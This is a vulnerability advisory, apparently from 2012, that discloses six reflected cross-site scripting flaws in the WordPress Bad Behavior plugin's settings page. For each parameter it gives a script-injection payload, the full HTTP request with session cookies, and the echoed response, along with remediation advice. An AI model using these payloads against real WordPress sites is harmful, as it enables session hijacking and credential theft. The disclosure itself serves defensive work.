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WordPress Bad Behavior Cross Site Scripting

WordPress Bad Behavior Cross Site Scripting
Posted May 11, 2012
Authored by SiNA Rabbani

The WordPress Bad Behavior plugin suffers from multiple cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | 39a4dfbfed1ff091b2170a63180a37194ebf673217a7d0fc2e945b4a2def914f

WordPress Bad Behavior Cross Site Scripting

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1. Cross-site scripting (reflected)

1.1. http://127.0.0.1/wp-admin/options-general.php
[%3Cscript%3Ealert(1)%3C/script%3E parameter]
1.2. http://127.0.0.1/wp-admin/options-general.php [httpbl_key parameter]
1.3. http://127.0.0.1/wp-admin/options-general.php [httpbl_maxage
parameter]
1.4. http://127.0.0.1/wp-admin/options-general.php [httpbl_threat
parameter]
1.5. http://127.0.0.1/wp-admin/options-general.php
[reverse_proxy_addresses parameter]
1.6. http://127.0.0.1/wp-admin/options-general.php
[reverse_proxy_header parameter]

Issue background
Reflected cross-site scripting vulnerabilities arise when data is
copied from a request and echoed into the application's immediate
response in an unsafe way. An attacker can use the vulnerability to
construct a request which, if issued by another application user, will
cause JavaScript code supplied by the attacker to execute within the
user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such
as stealing the victim's session token or login credentials,
performing arbitrary actions on the victim's behalf, and logging their
keystrokes.

Users can be induced to issue the attacker's crafted request in
various ways. For example, the attacker can send a victim a link
containing a malicious URL in an email or instant message. They can
submit the link to popular web sites that allow content authoring, for
example in blog comments. And they can create an innocuous looking web
site which causes anyone viewing it to make arbitrary cross-domain
requests to the vulnerable application (using either the GET or the
POST method).

The security impact of cross-site scripting vulnerabilities is
dependent upon the nature of the vulnerable application, the kinds of
data and functionality which it contains, and the other applications
which belong to the same domain and organisation. If the application
is used only to display non-sensitive public content, with no
authentication or access control functionality, then a cross-site
scripting flaw may be considered low risk. However, if the same
application resides on a domain which can access cookies for other
more security-critical applications, then the vulnerability could be
used to attack those other applications, and so may be considered high
risk. Similarly, if the organisation which owns the application is a
likely target for phishing attacks, then the vulnerability could be
leveraged to lend credibility to such attacks, by injecting Trojan
functionality into the vulnerable application, and exploiting users'
trust in the organisation in order to capture credentials for other
applications which it owns. In many kinds of application, such as
those providing online banking functionality, cross-site scripting
should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into
application responses, cross-site scripting attacks can be prevented
using two layers of defences:

Input should be validated as strictly as possible on arrival,
given the kind of content which it is expected to contain. For
example, personal names should consist of alphabetical and a small
range of typographical characters, and be relatively short; a year of
birth should consist of exactly four numerals; email addresses should
match a well-defined regular expression. Input which fails the
validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied
into application responses. All HTML metacharacters, including < > " '
and =, should be replaced with the corresponding HTML entities (<
> etc).

In cases where the application's functionality allows users to author
content using a restricted subset of HTML tags and attributes (for
example, blog comments which allow limited formatting and linking), it
is necessary to parse the supplied HTML to validate that it does not
use any dangerous syntax; this is a non-trivial task.



Summary

Severity: High
Confidence: Certain
Host: http://127.0.0.1
Path(s):
/wp-admin/options-general.php [%3Cscript%3Ealert(1)%3C/script%3E
parameter]
/wp-admin/options-general.php [httpbl_key parameter]
/wp-admin/options-general.php [httpbl_maxage parameter]
/wp-admin/options-general.php [httpbl_threat parameter]
/wp-admin/options-general.php [reverse_proxy_addresses parameter]
/wp-admin/options-general.php [reverse_proxy_header parameter]

Issue detail

Reflected cross-site scripting vulnerabilities arise when data is
copied from a request and echoed into the application's immediate
response in an unsafe way. An attacker can use the vulnerability to
construct a request which, if issued by another application user, will
cause JavaScript code supplied by the attacker to execute within the
user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such
as stealing the victim's session token or login credentials,
performing arbitrary actions on the victim's behalf, and logging their
keystrokes.

Users can be induced to issue the attacker's crafted request in
various ways. For example, the attacker can send a victim a link
containing a malicious URL in an email or instant message. They can
submit the link to popular web sites that allow content authoring, for
example in blog comments. And they can create an innocuous looking web
site which causes anyone viewing it to make arbitrary cross-domain
requests to the vulnerable application (using either the GET or the
POST method).

The security impact of cross-site scripting vulnerabilities is
dependent upon the nature of the vulnerable application, the kinds of
data and functionality which it contains, and the other applications
which belong to the same domain and organisation. If the application
is used only to display non-sensitive public content, with no
authentication or access control functionality, then a cross-site
scripting flaw may be considered low risk. However, if the same
application resides on a domain which can access cookies for other
more security-critical applications, then the vulnerability could be
used to attack those other applications, and so may be considered high
risk. Similarly, if the organisation which owns the application is a
likely target for phishing attacks, then the vulnerability could be
leveraged to lend credibility to such attacks, by injecting Trojan
functionality into the vulnerable application, and exploiting users'
trust in the organisation in order to capture credentials for other
applications which it owns. In many kinds of application, such as
those providing online banking functionality, cross-site scripting
should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into
application responses, cross-site scripting attacks can be prevented
using two layers of defences:

Input should be validated as strictly as possible on arrival, given
the kind of content which it is expected to contain. For example,
personal names should consist of alphabetical and a small range of
typographical characters, and be relatively short; a year of birth
should consist of exactly four numerals; email addresses should match
a well-defined regular expression. Input which fails the validation
should be rejected, not sanitised. User input should be HTML-encoded
at any point where it is copied into application responses. All HTML
metacharacters, including < > " ' and =, should be replaced with the
corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author
content using a restricted subset of HTML tags and attributes (for
example, blog comments which allow limited formatting and linking), it
is necessary to parse the supplied HTML to validate that it does not
use any dangerous syntax; this is a non-trivial task.

1.1. http://127.0.0.1/wp-admin/options-general.php
[%3Cscript%3Ealert(1)%3C/script%3E parameter]

Summary
Severity: High
Confidence: Certain
Host: http://127.0.0.1
Path: /wp-admin/options-general.php

Issue detail

The value of the %3Cscript%3Ealert(1)%3C/script%3E request parameter
is copied into the value of an HTML tag attribute which is
encapsulated in double quotation marks. The payload
64076"><script>alert(1)</script>f43455fe716 was submitted in the
%3Cscript%3Ealert(1)%3C/script%3E parameter. This input was echoed as
64076\"><script>alert(1)</script>f43455fe716 in the application's
response.

This proof-of-concept attack demonstrates that it is possible to
inject arbitrary JavaScript into the application's response.
Request
GET
/wp-admin/options-general.php?page=bb2_options&%3Cscript%3Ealert(1)%3C/script%3E64076"><script>alert(1)</script>f43455fe716
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0)
Gecko/20100101 Firefox/11.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Cookie:
wordpress_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C0bc36ed70eff4d014b8f8f399e7931d9;
bb2_screener_=1334005723+127.0.0.1;
PHPSESSID=r0pobhl4p21uu57ek6lpdabr76;
wordpress_test_cookie=WP+Cookie+check;
wp-settings-1=widgets_access%3Doff%26uploader%3D127;
wp-settings-time-1=1334005698;
wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C68a0d9df0911bd2b367c681b0981811a

Response
HTTP/1.1 200 OK
Date: Mon, 09 Apr 2012 21:09:48 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.6
Set-Cookie: bb2_screener_=1334005788+127.0.0.1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Mon, 09 Apr 2012 21:09:48 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Content-Length: 27011
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<!--[if IE 8]>
<html xmlns="http://www.w3.org/1999/xhtml" class="ie8" dir="ltr"
lang="en-US">
<![endif]-->
<!--[if !(IE 8) ]><!-->
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr
...[SNIP]...
<form method="post"
action="/wp-admin/options-general.php?page=bb2_options&%3Cscript%3Ealert(1)%3C/script%3E64076\"><script>alert(1)</script>f43455fe716">
...[SNIP]...


1.2. http://127.0.0.1/wp-admin/options-general.php [httpbl_key parameter]

Summary
Severity: High
Confidence: Certain
Host: http://127.0.0.1
Path: /wp-admin/options-general.php

Issue detail

The value of the httpbl_key request parameter is copied into the value
of an HTML tag attribute which is encapsulated in double quotation
marks. The payload cd7f3"><script>alert(1)</script>2953f971e04275ebc
was submitted in the httpbl_key parameter. This input was echoed as
cd7f3\"><script>alert(1)</script>2953f971e04275ebc in the
application's response.

This proof-of-concept attack demonstrates that it is possible to
inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to
convert the request to use the GET method, to enable easier
demonstration and delivery of the attack.
Request
GET
/wp-admin/options-general.php?page=bb2_options&display_stats=true&logging=false&httpbl_key=cd7f3"><script>alert(1)</script>2953f971e04275ebc&httpbl_threat=25&httpbl_maxage=30&reverse_proxy_header=X-Forwarded-For&reverse_proxy_addresses=127.0.0.1&submit=Update+%C2%BB
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0)
Gecko/20100101 Firefox/11.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/wp-admin/options-general.php?page=bb2_options
Cookie:
wordpress_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C0bc36ed70eff4d014b8f8f399e7931d9;
bb2_screener_=1334005698+127.0.0.1;
PHPSESSID=r0pobhl4p21uu57ek6lpdabr76;
wordpress_test_cookie=WP+Cookie+check;
wp-settings-1=widgets_access%3Doff%26uploader%3D127;
wp-settings-time-1=1334005698;
wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C68a0d9df0911bd2b367c681b0981811a

Response
HTTP/1.1 200 OK
Date: Mon, 09 Apr 2012 21:10:15 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.6
Set-Cookie: bb2_screener_=1334005815+127.0.0.1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Mon, 09 Apr 2012 21:10:16 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Content-Length: 27211
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<!--[if IE 8]>
<html xmlns="http://www.w3.org/1999/xhtml" class="ie8" dir="ltr"
lang="en-US">
<![endif]-->
<!--[if !(IE 8) ]><!-->
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr
...[SNIP]...
<form method="post"
action="/wp-admin/options-general.php?page=bb2_options&display_stats=true&logging=false&httpbl_key=cd7f3\"><script>alert(1)</script>2953f971e04275ebc&httpbl_threat=25&httpbl_maxage=30&reverse_proxy_header=X-Forwarded-For&reverse_proxy_addresses=127.0.0.1&submit=Update+%C2%BB">
...[SNIP]...


1.3. http://127.0.0.1/wp-admin/options-general.php [httpbl_maxage
parameter]

Summary
Severity: High
Confidence: Certain
Host: http://127.0.0.1
Path: /wp-admin/options-general.php

Issue detail

The value of the httpbl_maxage request parameter is copied into the
value of an HTML tag attribute which is encapsulated in double
quotation marks. The payload
7cd38"><script>alert(1)</script>e4c0c1d8579ca03c8 was submitted in the
httpbl_maxage parameter. This input was echoed as
7cd38\"><script>alert(1)</script>e4c0c1d8579ca03c8 in the
application's response.

This proof-of-concept attack demonstrates that it is possible to
inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to
convert the request to use the GET method, to enable easier
demonstration and delivery of the attack.
Request
GET
/wp-admin/options-general.php?page=bb2_options&display_stats=true&logging=false&httpbl_key=&httpbl_threat=25&httpbl_maxage=307cd38"><script>alert(1)</script>e4c0c1d8579ca03c8&reverse_proxy_header=X-Forwarded-For&reverse_proxy_addresses=127.0.0.1&submit=Update+%C2%BB
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0)
Gecko/20100101 Firefox/11.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/wp-admin/options-general.php?page=bb2_options
Cookie:
wordpress_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C0bc36ed70eff4d014b8f8f399e7931d9;
bb2_screener_=1334005698+127.0.0.1;
PHPSESSID=r0pobhl4p21uu57ek6lpdabr76;
wordpress_test_cookie=WP+Cookie+check;
wp-settings-1=widgets_access%3Doff%26uploader%3D127;
wp-settings-time-1=1334005698;
wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C68a0d9df0911bd2b367c681b0981811a

Response
HTTP/1.1 200 OK
Date: Mon, 09 Apr 2012 21:11:41 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.6
Set-Cookie: bb2_screener_=1334005901+127.0.0.1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Mon, 09 Apr 2012 21:11:41 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Content-Length: 27196
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<!--[if IE 8]>
<html xmlns="http://www.w3.org/1999/xhtml" class="ie8" dir="ltr"
lang="en-US">
<![endif]-->
<!--[if !(IE 8) ]><!-->
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr
...[SNIP]...
<form method="post"
action="/wp-admin/options-general.php?page=bb2_options&display_stats=true&logging=false&httpbl_key=&httpbl_threat=25&httpbl_maxage=307cd38\"><script>alert(1)</script>e4c0c1d8579ca03c8&reverse_proxy_header=X-Forwarded-For&reverse_proxy_addresses=127.0.0.1&submit=Update+%C2%BB">
...[SNIP]...

1.4. http://127.0.0.1/wp-admin/options-general.php [httpbl_threat
parameter]

Summary
Severity: High
Confidence: Certain
Host: http://127.0.0.1
Path: /wp-admin/options-general.php

Issue detail

The value of the httpbl_threat request parameter is copied into the
value of an HTML tag attribute which is encapsulated in double
quotation marks. The payload
e1a44"><script>alert(1)</script>c5956c0cf3d6caac4 was submitted in the
httpbl_threat parameter. This input was echoed as
e1a44\"><script>alert(1)</script>c5956c0cf3d6caac4 in the
application's response.

This proof-of-concept attack demonstrates that it is possible to
inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to
convert the request to use the GET method, to enable easier
demonstration and delivery of the attack.
Request
GET
/wp-admin/options-general.php?page=bb2_options&display_stats=true&logging=false&httpbl_key=&httpbl_threat=25e1a44"><script>alert(1)</script>c5956c0cf3d6caac4&httpbl_maxage=30&reverse_proxy_header=X-Forwarded-For&reverse_proxy_addresses=127.0.0.1&submit=Update+%C2%BB
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0)
Gecko/20100101 Firefox/11.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/wp-admin/options-general.php?page=bb2_options
Cookie:
wordpress_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C0bc36ed70eff4d014b8f8f399e7931d9;
bb2_screener_=1334005698+127.0.0.1;
PHPSESSID=r0pobhl4p21uu57ek6lpdabr76;
wordpress_test_cookie=WP+Cookie+check;
wp-settings-1=widgets_access%3Doff%26uploader%3D127;
wp-settings-time-1=1334005698;
wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C68a0d9df0911bd2b367c681b0981811a

Response
HTTP/1.1 200 OK
Date: Mon, 09 Apr 2012 21:10:49 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.6
Set-Cookie: bb2_screener_=1334005849+127.0.0.1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Mon, 09 Apr 2012 21:10:49 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Content-Length: 27189
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<!--[if IE 8]>
<html xmlns="http://www.w3.org/1999/xhtml" class="ie8" dir="ltr"
lang="en-US">
<![endif]-->
<!--[if !(IE 8) ]><!-->
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr
...[SNIP]...
<form method="post"
action="/wp-admin/options-general.php?page=bb2_options&display_stats=true&logging=false&httpbl_key=&httpbl_threat=25e1a44\"><script>alert(1)</script>c5956c0cf3d6caac4&httpbl_maxage=30&reverse_proxy_header=X-Forwarded-For&reverse_proxy_addresses=127.0.0.1&submit=Update+%C2%BB">
...[SNIP]...


1.5. http://127.0.0.1/wp-admin/options-general.php
[reverse_proxy_addresses parameter]

Summary
Severity: High
Confidence: Certain
Host: http://127.0.0.1
Path: /wp-admin/options-general.php

Issue detail
The value of the reverse_proxy_addresses request parameter is copied
into the HTML document as plain text between tags. The payload
8db6c<script>alert(1)</script>c29bb04915a was submitted in the
reverse_proxy_addresses parameter. This input was echoed unmodified in
the application's response.

This proof-of-concept attack demonstrates that it is possible to
inject arbitrary JavaScript into the application's response.
Request
POST /wp-admin/options-general.php?page=bb2_options HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0)
Gecko/20100101 Firefox/11.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/wp-admin/options-general.php?page=bb2_options
Cookie:
wordpress_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C0bc36ed70eff4d014b8f8f399e7931d9;
bb2_screener_=1334005698+127.0.0.1;
PHPSESSID=r0pobhl4p21uu57ek6lpdabr76;
wordpress_test_cookie=WP+Cookie+check;
wp-settings-1=widgets_access%3Doff%26uploader%3D127;
wp-settings-time-1=1334005698;
wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C68a0d9df0911bd2b367c681b0981811a
Content-Type: application/x-www-form-urlencoded
Content-Length: 170

display_stats=true&logging=false&httpbl_key=&httpbl_threat=25&httpbl_maxage=30&reverse_proxy_header=X-Forwarded-For&reverse_proxy_addresses=127.0.0.18db6c<script>alert(1)</script>c29bb04915a&submit=Update+%C2%BB
Response
HTTP/1.1 200 OK
Date: Mon, 09 Apr 2012 21:13:22 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.6
Set-Cookie: bb2_screener_=1334006002+127.0.0.1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Mon, 09 Apr 2012 21:13:22 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Content-Length: 26839
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<!--[if IE 8]>
<html xmlns="http://www.w3.org/1999/xhtml" class="ie8" dir="ltr"
lang="en-US">
<![endif]-->
<!--[if !(IE 8) ]><!-->
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr
...[SNIP]...
<textarea cols="24" rows="6"
name="reverse_proxy_addresses">127.0.0.18db6c<script>alert(1)</script>c29bb04915a</textarea>
...[SNIP]...
1.6. http://127.0.0.1/wp-admin/options-general.php
[reverse_proxy_header parameter]
Summary
Severity: High
Confidence: Certain
Host: http://127.0.0.1
Path: /wp-admin/options-general.php
Issue detail
The value of the reverse_proxy_header request parameter is copied into
the value of an HTML tag attribute which is encapsulated in double
quotation marks. The payload
bedd2"><script>alert(1)</script>5af099f2be1ee80ab was submitted in the
reverse_proxy_header parameter. This input was echoed as
bedd2\"><script>alert(1)</script>5af099f2be1ee80ab in the
application's response.

This proof-of-concept attack demonstrates that it is possible to
inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to
convert the request to use the GET method, to enable easier
demonstration and delivery of the attack.
Request
GET
/wp-admin/options-general.php?page=bb2_options&display_stats=true&logging=false&httpbl_key=&httpbl_threat=25&httpbl_maxage=30&reverse_proxy_header=X-Forwarded-Forbedd2"><script>alert(1)</script>5af099f2be1ee80ab&reverse_proxy_addresses=127.0.0.1&submit=Update+%C2%BB
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0)
Gecko/20100101 Firefox/11.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/wp-admin/options-general.php?page=bb2_options
Cookie:
wordpress_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C0bc36ed70eff4d014b8f8f399e7931d9;
bb2_screener_=1334005698+127.0.0.1;
PHPSESSID=r0pobhl4p21uu57ek6lpdabr76;
wordpress_test_cookie=WP+Cookie+check;
wp-settings-1=widgets_access%3Doff%26uploader%3D127;
wp-settings-time-1=1334005698;
wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C68a0d9df0911bd2b367c681b0981811a

Response
HTTP/1.1 200 OK
Date: Mon, 09 Apr 2012 21:12:31 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.6
Set-Cookie: bb2_screener_=1334005951+127.0.0.1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Mon, 09 Apr 2012 21:12:32 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Content-Length: 27176
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<!--[if IE 8]>
<html xmlns="http://www.w3.org/1999/xhtml" class="ie8" dir="ltr"
lang="en-US">
<![endif]-->
<!--[if !(IE 8) ]><!-->
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr
...[SNIP]...
<form method="post"
action="/wp-admin/options-general.php?page=bb2_options&display_stats=true&logging=false&httpbl_key=&httpbl_threat=25&httpbl_maxage=30&reverse_proxy_header=X-Forwarded-Forbedd2\"><script>alert(1)</script>5af099f2be1ee80ab&reverse_proxy_addresses=127.0.0.1&submit=Update+%C2%BB">
...[SNIP]...

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